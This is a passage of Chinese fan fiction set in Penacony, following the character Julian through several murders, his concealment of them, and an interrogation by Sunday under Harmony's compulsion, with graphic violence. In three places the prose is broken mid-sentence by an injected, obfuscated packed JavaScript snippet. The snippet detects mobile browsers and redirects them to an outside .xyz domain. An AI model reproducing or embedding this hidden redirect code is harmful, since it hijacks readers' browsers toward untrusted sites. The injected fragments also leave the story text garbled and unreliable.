他们隶属猎犬家系,工作内容与其他猎犬成员并无不同,无非是逮捕、扣押、驱逐……充其量是应对的人群更危险了些,但在家族的领地内,真正遇上危险的次数屈指可数。 与他们这些领工资上班的成年人不同,小朋友对这项工作有着超乎常理的热情,几乎每天都是第一个到岗,抓捕犯人也总是冲在最前方——即使他努力按耐自己的情绪,也不难让人看出,他对这项工作无比热爱。 这显然不正常,脑子好使的人不可能热爱工作,但克丽丝告诉自己,未成年人干出多么匪夷所思的事都不足为奇,这就是他们稚嫩到可爱的证明。 她乐于每天见到一个可爱的同事。 直到她撞见对方“清理”垃圾的现场。 那张精致漂亮的脸上沾满斑斑血迹,明亮灵动,往日令人大呼“可爱”的笑容在死亡阴影的映衬下,变得阴森诡谲。 “克丽丝姐姐~”他蹲在瘫坐在地的她身前,伸出手,“你愿意和我一起,建立一个纯粹、美好、没有阴影的乐园吗?” “……不愿意吗。”他叹了口气,轻轻捧着她的脸,眉目间染上愁绪,失望地看着她。 “那么就麻烦你,下地狱吧。” 惊惧定格在脸上。 “咔” 颈椎被轻而易举地拧断了。 迟到六年的死亡追上了她。 缺少支撑的身体烂泥般软下。 “妈妈!” 一切都发生得太快,邦妮只来得及发出一声绝望的尖叫。 尤利安轻轻放开怀中抱着的女子的头颅,将其小心搭在轮椅的靠背上,随后笑盈盈地看向在场另一位尚在呼吸的人。 同样的一张脸,同样的表情,连嘴角扬起的弧度都未曾更改,在邦妮眼中却变得比恶鬼更狰狞可怖。 “就剩下你了,小小姐。”尤利安友好地朝她伸出手,却被一把打掉。 他歪了歪头,有些不愉快,但作为成熟大度的成年人,还是选择原谅了没有礼貌的小朋友。 “妈妈去世了,很难过吧?”他眉头微蹙,眼神中流露着同情,仿佛与她感同身受,“其实我也不想杀她,可是没办法啊,谁让她你妈妈骗了我呢。” “她说她很喜欢我,不管我想做什么都会帮我,结果只是看到尸体就吓成那样……还说要把我送到歌斐木大人那里接受审判,真是残忍啊。” “我那么信任她,还邀请她与我一同搭建理想中的乐园,结果她却让我如此失望……这么想,是不是就不那么伤心了,毕竟她也算是死有余辜嘛,哈哈。” 邦妮没忍住,吐了出来。 呕吐声打断了尤利安本作长篇大论的架势。 他脸上瞬间冷了下去,假模假样的温柔消散,露出底下深藏的厌烦。 “……难得有兴致废话。”他抱怨道,“都怪你,太不会看气氛了。” 邦妮还在呕吐,她的胃里空落落的什么都没有,只能吐出一点胃酸,但是她控制不住,在听了尤利安的话后,强烈的恶心压制住了恐惧,支配了她的身体。 “变态、疯子……杀人魔!为什么死的不是你!”吐到虚弱到再也吐不出东西后,她艰难支起身,捡起地上一截残破的铁皮扑了过去。 这无疑是以卵击石。 尤利安往旁边稍稍一偏,女孩就倒在了地上,倒在一片血泊中。 她蜷缩着身体,拼尽全力哭泣,口水、眼泪、鼻涕全部流了出来,她睁开眼,稚嫩的眼睛里倒映出母亲青紫扭曲的脸,于是她用最后一丝力气,将铁皮抵在了自己的咽喉上。 锋利的铁皮在刺入皮肤前一刻,被人踢开。 于是她连哭的力气都没有了,只能仰着头,微弱地喘气。 尤利安走到她身前,凝视着她,神色莫名。 “真是弱小到让人怜悯啊。”他幽幽叹气。 “就是因为这样,我才要不停地、不停地把你们扔出去。” “不然有些人看到,会落泪的。” 坚冰刺下。 * 潮湿泥泞的黑土地上,最后站着的,只有尤利安一个人。 还有两具尸体,地上躺着一具,轮椅上横着一具,尤利安确认过了,都凉得很彻底,犯过的错误他不会再犯第二次。 原本应该有四具,他的镜像在倒下后很快化作齑粉,融入泥土中,不知流向了哪个地方,另一个原本该躺在地上的通缉犯先生则是变成一段虚幻的数据流消失了,显然出现在这里的也不是本体。 尤利安不是很高兴。 这么算下来他还亏了。 一个投影就换了他一个秘密……其它星球的人果然狡猾!他就应该申请负责发送邀请函,然后和受邀者信息完全绑定,绝对不允许这些莫名其妙的家伙混进匹诺康尼! 幸好,对面是大名远扬的通缉犯,不可能站在人前揭露黎明的时刻的真实面貌,而距离谐乐大典只剩下不到两天了,远不够流言在人群中发酵成事实。 当务之急,还是尽快找到被抓住的埃德蒙吧……真是的,他怎么每天不是在找傻子,就是在找傻子的路上啊。 他会被藏到哪里呢? 尤利安将目光投向不远处的村落。 工厂找过了,河边找过了……那里似乎是仅剩的能藏人的地方了。 他能被藏在哪里呢? 一扇又一扇木门被推开,简陋的茅草屋内,除了墙壁和灰尘空无一物。 没有人,哪里都没有。 时间一点一滴过去,尤利安看了看怀表,已经是下午六点四十三分了。 他有些焦躁。 甜品店七点关门……他浪费的时间太多了。 既然屋子里没有人,那还有哪里可以藏人呢? 他站在屋外的空地上,烦躁地不停绕着自己的头发,把柔顺的乌发绕成一团杂乱的干草。 室外没有,室内也没有,会在哪里呢…… 等等……? 他的目光触及到那一洼血水,一顿。 血泊中,除了晦暗的天和僵死的尸体,好像……还有别的东西? 尤利安走到血泊旁,凝视着倒影,脸色一点点变得难看。 血色的倒影中,他看到自己身后,悬着一具白惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591937|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惨的尸体。 谜底揭晓。 构筑出的虚像轰然碎裂,晶莹的碎冰飞溅,他猛地转过身,对上一张被冻得青紫的脸。 那正是埃德蒙。 他被固定在一个冰做的十字架上,锋利的冰锥把他的手和脚都钉得死死的,脑袋无力地垂下,凸出的眼睛正好与下方的人对视,一只冰做的玫瑰贯穿他的头骨,从口腔顶出,被肉粉色的口腔衬得娇艳无比。 尸体还很柔软,带着余温,显然死去的时间并不久,最多也就十几分钟。 也就是说……在他杀死克丽丝和她的女儿时,埃德蒙还活生生地被钉在他身后。 而那个杀死他的凶手,很有可能,就站在尤利安身后,目睹了一切。 他扯出那支玫瑰,怒极反笑。 真有意思……真有意思! 能操控冰、会使用镜像……这不是跟自己的能力完全一样吗! 尤利安阴森森地看着那朵冰玫瑰,透亮的棱面中,映出无数个他自己。 是谁,窃取了他的能力,布置了这场恶作剧? 是谁,在他背后静静嘲笑着他,把他当傻子耍? 他深深地呼出一口气,扯动着脸上的肌肉,做出一个温和的、波澜不惊的表情。 没关系,等到乐园建成,暗中藏踪匿形的鼠辈自会现出原形。 不要心慌,不要急迫,要优雅,要冷静……要把难堪的真我完全藏起来。 他调整好情绪,笑盈盈地,将玫瑰一把捏碎。 …… 在闭店打烊的最后一分钟,最后一位顾客踩着铃声蹿进甜品店中。 “特色冰淇淋流心布丁蛋挞!还有吗还有吗!” 黑发红眸的客人伏在台子上,焦急地问询着店员。 店员面面相觑,几秒后,一位娇小的女生犹犹豫豫地开口道:“不好意思这位客人——” “还剩最后一个哦!” 门帘被掀开,胖胖的店长提着一个打包盒走了出来,打趣道: “今天来得比平日都晚啊,尤利安大人,不过还好还在营业时间里,不然这最后一个蛋挞可就要进我的嘴里了。” 看到塑料膜后熟悉的甜品,尤利安松了口气,收起失态,笑着回道:“真是幸运啊,平日里这个蛋挞卖得可好了,我真怕我忙里忙慌赶过来,等到我的只有凉透了的烤箱。” “不是幸运,这一个是给你特意留的。” “欸?”尤利安愣住。 店长继续道:“老顾客总还是有些特殊待遇的,更何况尤利安大人天天都来买特色蛋挞,店长我自然记得为您预留一个。” “啊……这样啊……谢谢。”尤利安迟疑地接过打包盒,“不过,蛋挞不是限量吗?下次还是不用为我预留了,对其他想要品尝匹诺康尼特色甜品的客人不太公平。” “哈哈,没有没有,这是限量之外,特例的一个哦!” “这样啊。”尤利安彻底放松下来,笑着说,“非常感谢您的好意了,我会一直当这家店的忠实顾客的。” 店长阿姨摆摆手:“哪里哪里,治安越来越好,原材料越来越便宜,生意越来越红火,这些都要感谢你们啊!” “再见!” 尤利安挥别热情的店长,拎着打包盒,向朝露公馆的方向走去。 9. 第九章 踏足朝露公馆前,他先在商业街的一面橱窗前停住脚步。 借着茶色玻璃的倒影,他谨慎地整理起自己的着装。 翻平风衣的领子、抚开衬衫的褶皱、将裤线调整笔直,且对准鞋头的朝向…… 并不凌乱的着装在经过一番吹毛求疵后,规整到可以列入教科书当典范。 被束缚在得体的装束中,尤利安稍微有了些安全感。 再修正好自己的情绪和想法,他就能自然地站在家主大人身前了。 橱窗里是一家花店,不同星系不同季节的鲜花簇拥在一间不足十平米的小店中,争奇斗艳地盛开着,招摇地邀请着路过的每一位旅人。 尤利安只是在它的玻璃前稍作停留,就被店员小姐逮住了。 “您好,要来一束鲜花吗?” 店员小姐笑眯眯地朝他招手,语气十分热情。 尤利安下意识地准备拒绝。 “不管是送给家人,朋友,还是恋人,都是很好的选择哦~” 抬起的手突然卡住了,费尽力气也摆动不下去。 * 最终,尤利安抱着一束洋桔梗站到了朝露公馆回廊上。 应该……没事吧。 洋桔梗花型并不艳丽,还经过了特殊的去香处理,毫不起眼,摆在会议桌上不会特别突兀,对方不喜欢的话,直接扔进垃圾桶就好,也不会留下经久不散的花香让他困扰。 没错!很完美!不会给家主大人添麻烦的! 优雅的笑容再次挂回脸上,尤利安轻轻叩响房门,在一声“请进”后推门进入房间。 灰发青年从文件中脱身,抬眼看他。 “晚上好,家主大人。” 尤利安假装漫不经心地将甜品盒和花束都放在一旁的桌子上,低头收拾起桌上被弄乱的物件,实际上注意力早就飞到了旁边的人身上,完全不知道自己在收拾什么。 星期日看着尤利安留给自己的一个发顶,耳羽抖了抖。 “晚上好,尤利安,不准备换一个对我的称呼吗?” “换、换一个称呼?” “比如,男朋友?” 咚! 尤利安脑袋直接磕到桌子上,凌乱发丝间露出的耳朵红得像熟透的草莓。 他的伪装果然是徒劳,对面轻而易举的一句话,就能让他的所有矜持瞬间破功。 尤利安半天没有声响,只有耳朵越来越红,头顶上几乎快要冒出蒸汽,眼看着就要自己把自己煮熟了—— 星期日轻舒一口气,转移话题:“甜品和花都是给我的吗?” “对、嗯,都是给您的。”他含含糊糊地回答,声音像被融化的奶糖黏成了一块。 “……我很可怕吗?”星期日假意苦恼,头顶上的光环配合着黯淡了几分。 尤利安猛然抬头,大声反驳道:“不!完全没有!您是宇宙中最温柔的人!” “那我的恋人为什么不愿意离我近一点呢?” 这话像是一只无形的大手扼在尤利安脖子上,把他将说未说的话全部掐死在腹中,他再次垂下头,一言不发,却扭扭捏捏地,挪到公馆主人身边。 蜿蜒的发丝垂在纸张上,正如它们主人的心思,看似很简单很好懂,但是又总在人看不见的地方打了结。 星期日捧起他的脸,让他与自己对视,将凌乱发丝别回尤利安耳后。 一张不大的脸搁在他的手上,柔嫩皮肤贴在白色皮革上,偏高的体温透过手套,落在他的掌心。 面部线条很柔和,眉毛偏细,眼型微圆,比起英俊更适合用柔美来形容,乌黑浓密的睫羽卷翘上扬,仿若风中的蝶翼般轻颤,深红眼眸如同熟透的樱桃,眼波流转,传来馥郁的果香和溺人的醉意。 那双眼睛湿漉漉的,仰视着他,瞳孔被他的身影完全占满,仿佛一只新生的幼犬,看着自己的主人,像看着自己的全世界。 被这样一双眼睛注视着,很容易让人飘飘然,忘乎所以,以为自己顶天立地,无所不能。 在如水的秋波里,星期日回忆起了儿时,回想起那个总是偷偷摸摸缀在他身后的瘦小人影,每当他转头回看时,对方就会嗖得一下躲起来,再等上几分钟,墙边就会小心翼翼探出半个脑袋,用这样一双湿漉漉的眼睛看着他。 没想到这一看,就是十几年。 缀在身后的影子已经可以站在他身边。 能更贴近对方真心的亲密关系有很多种,星期日选择了恋人,在大义凛然之下,未尝没有些说不清道不明的私心。 毕竟那可是,十几年朝夕相对的陪伴。 他就是在这样依恋的视线中,忽略了往日数不清的破绽。 光看这张脸,面前的人无疑是美丽、柔弱、惹人怜爱的。 这也是尤利安留给自己的印象,一只折翼的、无法再飞上天空的小鸟,脆弱又可怜,只能在主人手心细声细气地歌唱。 星期日突然心生怀疑,面前这个毫无防备朝他露出白皙脖颈的人,和资料里那个冷血无情的人,真的是同一个人吗? 哪一面是真实,哪一面是伪装?如果连最亲近的人之一都能在他面前十年如一日地欺骗他,偌大的匹诺康尼,还有什么是可信的? 本就落进谷底的心更沉重了半分。 他有些失神地松开了手。 尤利安垂着眼,神情楚楚可怜,在敏锐地觉察到星期日情绪低落后,心中一紧,轻轻拉住他的衣角。 轻柔的抚摸落在他的头顶,揉乱他的头发后又重新把它弄整齐,尤利安的心绪也被这只手搅弄起了层层波澜。 清贵富有磁性的声音带着复杂的情绪,流入他的耳中:“尤利安,你会一直站在我的身后,永远不背叛我吗?” “当然,我从未对您别无二心。”这一点毋庸置疑。 星期日笑了笑,继续问道: “那你能保证,你对我绝无隐瞒吗?” 这一次,他没有等来回复。 沉默,无尽的沉默,尤利安嗫喏着给不出答案,怀疑就在这粘稠的沉默中,发酵成引发雪崩的最后一块积石。 “……蛋挞快要化了。”他试图挣扎,“还是,先吃掉它吧。” 石块滚下,雪崩如期而至。 “不用了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591938|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >星期日失望地叹息着,指了指尤利安方才整理的那些纸张。 “桌上那些文件,是关于你的。” “你有什么想解释的吗?” ! 不安的预感在心中扩大。 不会是…… 尤利安脸色煞白,惊慌失措地转身按住那堆文件,颤抖着手,指尖挨个挑开翻看它们。 薄薄的几张纸很快被翻完,最后一页也被夹进指缝,尤利安快要跳出嗓子眼的心反而往回落了落。 最坏的情况没有发生。 文件中所记载的,只是他绕过了一些程序,擅自处决了一些丧尽天良的罪人,并伪造出他们还活着的假象。 与凯雷斯号无关,与黎明的时刻无关,更与他和梦主的合作无关。 不是什么大事……他还能收场。 惨白的脸上回拢了些血色,尤利安定了定心神,转身解释道: “那些恶人,本来就没有踏入乐园的资格,即使当时忏悔,也不代表他们就真心悔过……我只是不想让乐园被这些蛀虫毁坏……” 苍白无力的解释,而且言辞闪烁,明显是在转移重点。 很显然,尤利安并不认为这属于一项值得被记录在案的“过错”,也并不认为自己有错。 星期日预感到了这一情况,他不觉得这么一个轻巧的问题就能从尤利安口中探出所有真相,但当它真正发生且摆在他面前时,失望在所难免。 当然,这也不是重点。 “‘我们留心行光明的事,不但在主面前,就在人面前也是这样。’” “尤利安,如果你在我面前都会说谎,那么先前许下的诺言,还有多少已经被你所背弃?” 衣角被尤利安捏成了蔫巴菜,他躲闪着星期日金色的眼眸,再一次选择了逃避。 眼见着问不出什么了,星期日暗自嗟叹,走到尤利安身边,轻轻抱住他。 被不属于自己的体温包裹,尤利安身体一僵,下意识想推开,但熟悉的气息又让他的理智按耐住本能,放松在这个怀抱里。 “如果你实在无法开口,过去的事我可以不再追究,但是你可以保证,未来再也不会对我欺骗或是有所隐瞒吗?” 尤利安眼睛一亮,轻盈的喜悦如苏打水气泡在心间迸开,他回抱住星期日,将脖子上跳动的动脉贴在他的颈旁,迫不及待地应道:“当然!我保证以后再不对您有所欺瞒!” “那么……” “三重面相的灵魂啊,请你用热铁烙他的舌和手心,使他不能编造谎话,立定假誓。” 忆质在空气中凝聚,绚烂的斑纹浮现在视网膜内,金色与紫色交织,叫人眼花缭乱。 尤利安感受到,一股无形的力量破开他的防备,侵入他的大脑,禁锢住他的唇舌。 那是【同谐】的力量。 环在他腰间的手更紧了,几乎是将他牢牢囚禁在怀中。 温热的吐息打在尤利安耳畔,倾吐出的话语,却让他如坠冰窟。 “尤利安,告诉我,刚刚过去的三个小时里,你在做什么?” 一瞬间,他面如金纸,摇摇欲坠。 10. 第十章 一个系统时前。 “……别再用你那诡诈的舌头玷污我的妹妹,愚者。” 静谧的蓝光幽幽流淌,生有耳羽和荆棘光环的掌权者目光落在梦境无垠的边界上,语气尽可能地平静,却还是可以听出平静下隐藏的怒气。 头顶狐狸面具的愚者似笑非笑,两条橙粉色游鱼在小腿旁游弋,逡巡往复。 “你真的不想知道是谁杀死了你妹妹吗?为了降低游戏难度,需要我给你一些提示吗?真相一定会让你大吃一惊哦~” 说完,她仿佛看到了谜题揭晓时那有趣的模样,澄澈双目弯成月牙,笑意里满是期待。 星期日深吸一口气,平静回道:“不必了,凶手定会在祂的光照下露出马脚。用不了多久,便会跌落在地。” “呵~”花火脸上笑意更甚,“藏于人后的影子,可无法被光芒照射到。” “唉,看到你这副被戏耍还无能为力的可怜模样,花火大人还是给你一些提示吧~” “猜一猜,在你身边,谁有那个能力钻进影子里~” 星期日一怔,低下头,表情藏在阴影下看不真切,握紧的双手却透露了他并非对这话无动于衷。 “呵呵,这下,谜底就清楚多了吧~” * 知更鸟死了,尸体在酒店房间的入梦池内被发现。 她死得很安静,死亡来得太快又走得太急,没有留给痛苦一点反应的时间,除了脖子上一条干净利落的血线和没有起伏的胸膛,平静得仿佛她尚在梦中安睡。 这种安静却在活着的人中投下一块巨石,激起轩然大波。 死亡现场没有任何痕迹,除了一个闯进去的倒霉蛋——公司的使节砂金。 监控显示他只在【家族】前两分钟进入房间,与死亡时间对不上,可案发现场除了他没有任何不应该出现在那里的东西,只能将他列作第一嫌疑人。 但他不可能是凶手,没有动机也没有理由。 所以——是谁杀死了知更鸟? 监控没有记录到其他人进出房间,在酒店的家族成员也没有发现可疑人员,案发现场更是找不出任何线索——仿佛凶手在完成一出完美犯罪后,人间蒸发。 凡走过,必留下痕迹。 除非……死神当真在影中漂泊。 而能做到这一点的,整个匹诺康尼只有一个人。 墨涅塔族,相传是记忆星神【浮黎】的眷属,能沟通真实与倒影,天赋强大的人甚至能将倒影中的物体拉入现实,混淆虚假与真实。 人数稀少,栖居在银河边缘一颗忆质丰盈的星球,而在一场繁育孑遗引发的蝗灾后,族人被屠戮殆尽,唯一的幸存者则被梦主带回匹诺康尼,成为【家族】的一员。 如果是通过镜像的话,确实可以避开监控的记录;如果是他的话,确实可以绕开所有人完成一场完美犯罪…… 疑点还有很多,真相远非板上钉钉,可怀疑的种子一旦种下,只需要一点养料便能迅速破土而出,长成参天大树。 而尤利安此时的逃避,无疑是提供给这颗种子最肥沃的土壤。 “……怎么、怎么突然这样问?”他稳了稳心绪,放柔声音,勉强笑着,“只是去处理了一些工作上的小事,怎么了,我不在的这三个小时里发生了什么重要的事吗?” 同谐的力量并未隐去,抱住他的人却松开了手。 金色的双眸犹如被阳光淬炼过般璀璨,却毫无暖意,只冷冷地反射出尤利安煞白的脸色和慌乱的神情。 被他冷漠的视线刺伤,尤利安鬓角逐渐析出冷汗,想要握住星期日的手,却在碰到他时如触电般弹开,神色愈发柔弱,甚至隐隐流露出几分哀求。 看上去,真可怜啊。 仿佛淡绿色的菟丝子幼苗,娇滴滴生出芽,需要被怜悯,需要被保护,需要有人供它攀附,无法独自生存。 让人完全想不到,这样可怜可爱的植物,成长后会将攀附对象变作它的宿主,柔嫩的茎刺入宿主体内,不断抢夺养分供给自身生长。 “……尤利安,我不想怀疑你。”他淡淡地说,平静中却带着细微的、挥之不去的悲哀,“可即使是现在,你还是背弃了自己的承诺,避重就轻,对我有所隐瞒。” 言语中细小的悲伤渗透进尤利安心上,转眼化作狂风暴雨摧毁万物,可他还是紧咬下唇,倔强地不肯开口。 他能怎么说?他怎么能说? 难道要他详细解释自己这三个小时里去干了什么吗?去破坏、去杀人、去将家主大人想要建立乐园保护的弱者全部踩碎? 不可以,尤利安,忍耐住。 一个冷静的他从痛苦中挣脱出来,提醒着自己。 熬过这几天,一切都会好起来,可要是真的没忍住告诉了家主大人乐园的真相,那可就全完了。 他绝对不会原谅你的。 尤利安清楚地知道自己并非好人,即使向星期日忏悔的最恶的恶人,也比他善良百倍。 诡诈、屠杀,肆意夺走无辜者的生命,将弱小者的血肉当作燃料,供给乐园运行——他的手上沾满鲜血,心也并不干净。 但是那又怎样? 他近乎虔诚地想。 富裕与贫困相生、善行与恶举为伴、幸福与痛苦不可分割……正如光和暗,若想寻求极致的光明,那么除了被光照耀到的角落,其它地方必然一片漆黑。 既然家主大人想要让所有人都沐浴到光和热,那么他就将那些注定无法沐浴阳光的人,抽出骨头捻作灯芯,剥开血肉炼作灯油,盏盏油灯点起,温暖更多的人吧。 他自认为是坏人,但干的可不全是坏事。 处死偷渡来匹诺康尼的偷渡客,保证了梦境的治安,工厂廉价的劳动力将确保它生产出价格低廉的产品,让更多人花更少的苜蓿币获得必需品,从而从“生存”走向“生活”。 安全的环境、廉价的商品、等到谐乐大典之后,所有人都将被笼罩在同谐的光辉下——还有了和谐的人际关系,宇宙中再也不会有比匹诺康尼更接近理想的乐园的地方了! 代价仅仅是,一些微不足道的人的退场。 但是那又怎样? 他近乎冷血地想。 总会有人死去,宇宙中各种千奇百怪的残剧到处都是,一个人的生命不比一只蚂蚁的生命更珍贵,一个人的死亡不会比一只蚂蚁的死亡更沉重。 如此单薄的死亡,却能为乐园奠基,他们应该感到荣幸。 或许终有一刻,纸是包不住火的,但那一刻不能是现在。 同谐的力量在口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591939|155923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灼烧,刺痛着每一根神经,仿佛一团带毒的火焰在黏膜上横冲直撞,气势汹汹地想要从唇舌间跃出。 即便如此,尤利安还是咽下痛苦,牙关紧锁,一言不发,只是眼中的哀求越来越明显。 不要再问了。 星期日读出了他未尽的话语。 不要再问了,他什么都不会说的。 钟表的指针转了一圈又一圈,有鲜血从他紧抿的嘴角溢出。 “……” 星期日闭上双眼。 他高估了自己,他以为自己能无动于衷,结果在这场僵持中,还是他先败下阵来,心软了。 “……接下来的问题,你只需要回答是或不是。” 觉察到他态度的软化,尤利安忙不迭地点头。 “除了罪犯,你是否还对其他人行使过私刑?” “……是。” “刚刚三个小时里,你是否伤害了无辜者?” “……是。” “你对她的伤害是否发自本心,没有受任何人操控?” “……是。” 问话停住了。 沉默再次降临这间房间,在二人之中长久驻足,化作一堵严丝合缝的高墙。 尤利安等了许久,都没有等来下一个问题。 他小心翼翼地扬起眼帘,视线如蜗牛的触角般,谨小慎微地向上攀爬,随后在触及某处时瞳孔骤缩,大惊失色。 那双比太阳还要耀眼的眼眸低垂着,睫羽轻颤,眼角处,一滴泪悄然溢出。 尤利安心急如焚,慌忙地想要为他拭去眼泪,伸出的手却被避过。 他一怔,慢慢收回手臂,眼神彻底黯淡。 直到这一刻,他才开始动摇,自己是不是真的做错了什么,是不是在一开始就和盘托出会更好? “继续回答我的问题吧,尤利安。” “……是。” 他深深叹了口气。 “在过去的三个小时里,你的所作所为,是我绝对无法接受的吗?” 尤利安神色纠结,再次选择沉默。 可沉默本身就是一种答案。 星期日用耳羽掩盖住神情,不愿被发现自己的失态。 他最不愿看到的情况还是发生了。 但是……或许是心存侥幸,他还是…… “最后一个问题。” “你是否是杀害知更鸟的凶手?” 锐利的眸光如刀锋般割下,却无人承接这份痛苦。 尤利安满脸愕然。 杀害知更鸟的凶手……? 知更鸟死了?! 啊? 什么时候的事?怎么会有人胆大妄为到在家族的地盘上杀害橡木家系家主的妹妹? 他骤然被惊住了,茫然了瞬间,紧接着涌上心头的却是难以复加的喜悦。 如果家主大人此时的失落,只是因为将他误解成杀害知更鸟小姐的凶手,那么他很快就能不再失落了,因为尤利安很清楚自己与知更鸟的死亡并无干系。 他甚至刚刚才从星期日口中得出此事。 视网膜中的瑰彩尚未消去,同谐的力量还烙印在尤利安舌尖,可他却好似完全感知不到痛苦,雀跃地想要说出否定的回答。 “……是。” 11. 十一章 单薄的音节从舌尖滚出,仿若一场没有任何征兆的暴雪,比玄铁还要坚硬的雪花砸下,将说出这话的人都冻作冰雕,在阳光下并未化冻,反而生出满身裂纹。 同谐的光芒大盛,更加剧烈的痛苦在唇齿间绽开,那是希佩对意图说谎者的惩戒。 尤利安表情空了。 “……是……是……”他喃喃道,不顾身体上钻心剜骨的疼痛和口中溢出的鲜血,不可置信地看着自己的双手。 那双手算不得好看,深深浅浅的疤痕几乎将原本白皙的皮肤完全覆盖,像是不同棕色颜料干透了又不断叠加的调色盘,又像无数人无数块皮肤被裁下拼接,缝合成拙劣的人偶。 可这双手还算干净,即使尤利安清楚它曾沾上过无数人的鲜血——可它绝对没有摘下过天环族的一片羽翼。 “我……是杀害知更鸟的凶手……”剧烈的疼痛此刻成了支撑他站着的脊柱,清晰地提醒他这并非可以逃离的噩梦。 鲜血滴落在地,血色倒映出他惊惶的面容。 四周冰冷的寂静如绵绵细针扎入他的皮肤,慌乱渐消,莫大的恐惧接踵而至,在尤利安心中炸响。 他猛地抬头,不顾剧痛,也顾不得冷静,世界里只剩下眼前神情黯淡,耳羽垂下,被悲伤笼罩,仿若将死神祇的男子。 在神明陨落前,尤利安伸出手,死死抓住他的袖口。 “我……是,我……是……”鲜血汩汩流出,从嘴角流到颈间,将白色衬衫洇出大片大片的暗红,好似雪地中热烈绽放的曼珠沙华,在最冷寂之处呼告着死亡的到来。 最后,他的喉舌被鲜血完全堵塞,狼狈地呛咳起来,却还在不住地摇头,紧握的手没有丝毫要松开的迹象,比鲜血还要深沉地眼睛哀哀地看着灰发青年,微弱的希冀藏于其中,在向他的神明乞求宽恕和垂怜。 不要、不要移开视线,不要对我绝望,不要抛弃我…… 冷漠如冰刃刺穿他的心脏,断口被低温封冻,血液再难流动。 在荒芜的回应中,那点微弱的希冀如风中颤颤摆动的烛火般,渐渐熄灭。 手指一点点变得无力,紧握的手慢慢松开,向下坠去—— 彻底垂落前,另一只手抓住了它。 眸中几不可见的火星迸发出巨大的能量,希冀死灰复燃,尤利安不可置信地望着星期日,濒死的心再度跳动。 “……我该如何相信你呢?尤利安。”星期日垂下眼帘,敛去眼中复杂的情感,“你明明骗了我那么多次。” 尤利安下意识想要承诺,又意识到同谐的制约比他打破过无数次的承诺有说服力得多,僵在原地,不知该作何反应。 唉—— 星期日听见自己心间深重的叹息。 “最后一次机会,尤利安。”耳羽移开,金色的双眸深深地、深深地凝视他,“告诉我,在过去的三个小时里,你都做了什么?” 尤利安战栗地开口道:“我——” …… “先生,这些宝石送给你……” 遍布欢声笑语的大街上,金发青年靠近拿着酒瓶半瘫在地的男子。 “呕……滚、滚开!” 艳丽的深绿色宝石被一掌击飞,棱角与地面碰撞,骨碌碌滚至明暗交界处。 匹诺康尼绚烂多彩的灯光从宝石不规则的表面沁入,折射凝聚于中心,分明只是一点碎屑,却比展台上万众瞩目的珠宝更加耀眼,令人不禁为它的被冷落而惋惜。 但这份惋惜并没有在心中停留多久,很快,一只纤长的手便从黑暗中探出,将它拾起,举过头顶。 灯光下,深绿色宝石与殷红的瞳孔交相辉映。 “真是名贵的宝石啊。” 砂金略显惊讶地看向来者:“……尤利安?” 被称为“尤利安”的人将宝石收回袖口,莞尔一笑:“这么珍贵的宝石,比起给那些不识货的蠢货,不如给我吧,我会更充分地发挥它们的价值。” 砂金皱了皱眉。 不对劲,有哪里不对劲。 身为家族的成员,他怎么会直言不讳地将逐梦客称为蠢货?这种轻蔑的称呼,被其他人听见了无疑会损害家族的整体形象。 而在之前的对话中,对方呈现出来的分明是一个谨小慎微、维护家族利益的形象,如此尖锐的话语—— 他不动声色地打量着尤利安。 外貌和气质没有异样,连脸上的笑容都如出一辙,衣服也是他在现实中酒店看到的那一套,除了稍显凌乱,没有任何奇怪的地方。 见他不回话,反而将视线停在自己身上,尤利安挑了挑眉:“怎么了砂金先生,珠宝虽然珍贵,但与公司的财产相比,如萤火之于皓月,不值一提,您不会小气到连给出去的碎石都要拿回吧?” 砂金收回视线,压下疑惑,回敬道:“当然不会,但既然您接下了宝石,想必也不会吝啬于回答几个问题吧?” “那可不行,我可是个心胸狭隘的小气鬼……开个玩笑开个玩笑,脸色这么难看,您不会连玩笑都开不起吧~”他的笑容温和有礼,声音中却透露着浓浓的随性。 “好吧好吧,您问吧。” 轻佻的语调真让人生气。 但是既然对方愿意回答,那那块宝石给出的也不是没有意义。 大脑在同谐的禁锢下隐隐作痛,砂金抬手轻抚额头,再放下,依旧是那副游刃有余的模样,“尤利安先生,身为家族的一员,您是否知道在梦境中,有一位死神四处徘徊?” “欸~死神吗,很酷的说法啊。”几个轻盈的脚步间,尤利安就缩小了和砂金之间的距离,微微弯腰,愉快地看到那双瑰丽的眼眸中映出自己的倒影,“鸢尾花家乡确实为匹诺康尼,乃至为整个电影界贡献出了不少的佳作,但是也不宜贪多哦~您是不是看了太久的电影,有些分不清虚幻和现实了。” “不然怎么会以为,自己能将死神收入眼中呢~” 